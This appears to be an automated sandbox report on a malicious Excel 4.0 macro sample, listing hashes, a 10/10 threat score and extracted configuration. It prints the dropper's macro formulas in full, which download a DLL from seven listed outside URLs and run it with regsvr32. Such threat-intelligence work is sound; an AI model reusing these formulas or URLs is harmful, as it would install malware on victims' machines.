General

  • Target

    a889e5cbd15b9f14100a99793dcb485bafd0ecf69bcbf489fa9c9f6ee60a4e78

  • Size

    32KB

  • Sample

    240226-13hp8she76

  • MD5

    adbb44d002b743f0db65606468e5ec3b

  • SHA1

    cafde1434eb38eb18fb36ce20b1395730b133c95

  • SHA256

    a889e5cbd15b9f14100a99793dcb485bafd0ecf69bcbf489fa9c9f6ee60a4e78

  • SHA512

    15831bedd882d8f52d6f5c63269dedca4afb5286b9bfe7c0311d50eb1c8b9968a87490928a301dc14026f9619cdf37c5c3020fd822f849a679397b6150bd6a18

  • SSDEEP

    384:cjzZPFhNjqEBOA7iEibbwBLg0SCdiVXUKgUrNU/qWhZOdBNPJM+kqr9eCgh0k5lY:cjpFhNNlizXT28dFfPdkqstJmE6/

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://casache.com/web/n3jxwXXwa/

https://www.blessingsource.com/blessingsource.com/rFQ0Ip6lQXXK/

http://ccalaire.com/wp-admin/d1pGRa0X/

http://cdimprintpr.com/brochure2/A9NmYDndZ/

http://careerplan.host20.uk/images/Ls/

http://ausnz.net/2010wc/odSi5tQKkCIXEWl9/

https://azsiacenter.com/js/sOhmiosLJOgwaP6i5nln/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://casache.com/web/n3jxwXXwa/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.blessingsource.com/blessingsource.com/rFQ0Ip6lQXXK/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ccalaire.com/wp-admin/d1pGRa0X/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://cdimprintpr.com/brochure2/A9NmYDndZ/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://careerplan.host20.uk/images/Ls/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ausnz.net/2010wc/odSi5tQKkCIXEWl9/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://azsiacenter.com/js/sOhmiosLJOgwaP6i5nln/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://casache.com/web/n3jxwXXwa/

xlm40.dropper

https://www.blessingsource.com/blessingsource.com/rFQ0Ip6lQXXK/

xlm40.dropper

http://ccalaire.com/wp-admin/d1pGRa0X/

xlm40.dropper

http://cdimprintpr.com/brochure2/A9NmYDndZ/

xlm40.dropper

http://careerplan.host20.uk/images/Ls/

xlm40.dropper

http://ausnz.net/2010wc/odSi5tQKkCIXEWl9/

Targets

    • Target

      a889e5cbd15b9f14100a99793dcb485bafd0ecf69bcbf489fa9c9f6ee60a4e78

    • Size

      32KB

    • MD5

      adbb44d002b743f0db65606468e5ec3b

    • SHA1

      cafde1434eb38eb18fb36ce20b1395730b133c95

    • SHA256

      a889e5cbd15b9f14100a99793dcb485bafd0ecf69bcbf489fa9c9f6ee60a4e78

    • SHA512

      15831bedd882d8f52d6f5c63269dedca4afb5286b9bfe7c0311d50eb1c8b9968a87490928a301dc14026f9619cdf37c5c3020fd822f849a679397b6150bd6a18

    • SSDEEP

      384:cjzZPFhNjqEBOA7iEibbwBLg0SCdiVXUKgUrNU/qWhZOdBNPJM+kqr9eCgh0k5lY:cjpFhNNlizXT28dFfPdkqstJmE6/

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks